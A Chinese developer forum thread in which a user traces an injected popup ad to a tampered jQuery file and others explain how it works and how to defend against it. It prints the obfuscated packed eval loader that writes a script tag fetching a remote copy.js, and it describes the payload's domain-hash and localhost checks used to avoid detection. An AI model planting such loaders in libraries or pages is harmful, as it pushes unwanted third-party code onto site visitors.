源代码里被人写了一段代码... 然后 chrome 的 Console中 会有这个提示:A Parser-blocking, cross site (i.e. different eTLD+1) script, https://banquan.b0.upaiyun.com/copy.js, is invoked via document.write. This MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message.See https://www.chromestatus.com/feature/5718547946799104 for more details.
被写入的代码是,让网页左下角一直有个弹窗.... 就是小窗口一样的,可以关,但每一次打开都会有。
源文件的结构是
删了 jquery-2.1.1.min.js 后就没了, 判断出应该是加在这里
在index.html 末尾加入 window.onload = function(){}
后也会消失
查过说是 跨域 什么什么的, 基础还不好,所以不是很明白什么意思,仍然找不出来。
不知道通过什么方式实现的,希望有人能讲讲如何实现 js跨域然后又藏的一般人找不出来....
我觉得这问题很严重.....
还有点那啥...
深感自己的不足
希望有人能解答一下....
不好意思,我有一点没说清楚, 我这是在本地的,没有传上服务器,我把网关掉后、清空cookie就不会有了,联网后才有。
(本地的文件应该不会被劫持什么的吧...)
(应该是源代码里有一段是调用了其他网站的js文件,然后他又做了手脚...我这样没啥经验的就找不出来了..)
=== 3.16 ====
先谢谢各位的回答
修改jquery-2.1.1.min.js
的文件名后就没有那个弹窗了, 不过他写在源码里的东西还在, 现在就是想请教一下 实现这类操作的方法是什么? 我想学习后从根本上解决它...
=== 4个小时后.... ====
改文件名没用..... 是我测试的时候太匆忙了..... 很尴尬....
==== 3.18 ====
根据小明的回答...
搜索了关键词upaiyun
就找到了一段
`eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('2.7("<0 3=\'4/5\' 6=\'1://8.9.a.b/c.d\'>\\e/0>");', 15, 15, 'script|https|document|type|text|javascript|src|writeln|banquan|b0|upaiyun|com|copy|js|x3c'.split('|'), 0, {}));`
删除后广告也消失了(console也没报错...应该是单纯的广告代码吧...)
虽然看不懂,不过已经可以研究了
再次感谢诸位的回答,谢谢
先讲结论(信息不足,只能猜测):最大的可能是这个
jquery-2.1.1.min.js
文件被篡改,在原版的基础上加入了类似的语句,将
https://banquan.b0.upaiyun.com/copy.js
加载到你的页面中。最直接的解决方案是另外下载一个jQuery。感兴趣的话也可以下载一个jQuery 2.1.1 min文件与现有的文件做对比,找到具体是怎么注入的。
然后简单剖析一下这个注入的文件
https://banquan.b0.upaiyun.com/copy.js
这个文件首先做了一个挑衅(或者是注入的标记):
然后是一段混淆的代码,解析后是这个样子:
主要分为两部分:一组SHA-1加密函数,以及一段DOM操作。基本逻辑是,如果当前页面不包含一个特殊的mega标签(content为SHA-1加密后的域名),则执行DOM操作,显示一个弹窗,内容包括iframe包裹的
http://www.urkeji.com/wenda/tui.html
。而这段DOM操作是放在
window.onload
里的,因而会被你在index.html末尾另加的一个window.onload
覆盖,从而阻止DOM操作。据此推断,www.urkeji.com就是这段代码的罪魁祸首。
案情回顾:
urkeji.com 是帮助客户做网站的,小本经营,不温不火。为了加大宣传,想出了这么个主意:在jQuery文件中加入显示小广告的脚本,上传到各大网站与正规的jQuery混到一起。为了使自己的客户不受影响,改公司制作的网站都利用加密后的域名制作了一个特定的<mega>标签阻止小广告。同时在localhost上也阻止了小广告,以防被开发人员发现。。。
用心也算良苦了,就是做法太流氓。
你的网站被黑了
你也说了 删除掉jquery就可以解决了
一般情况下有两个解决方法:
1、删除掉jquery恶意代码
2、重新下载jquery文件进行上传
几乎就可以解决你的问题了
网站配置https, http默认跳转https
一般都不是自己网站服务器代码有问题, 而是dns劫持之类的中途注入进去的. 像移动的那些广告一样.
配置https内容就修改不了了
如果是网站被黑的话,难道不是 git diff 一下,或者重新装系统部署一下就搞定了嘛……
不过小窗,特别是小窗是本地广告的时候,是运营商在搞鬼。
防范的话,HTTPS + CSP + SRI 应该就比较安全了(当然你的服务器也要足够安全)。
有可能是流量劫持,往特定js里面写入广告代码再发给用户。
比较一劳永逸的是用https
其他的话比较简单的可以用DOMNodeInserted来监控dom插入事件,然后匹配src非本网站的给remove掉。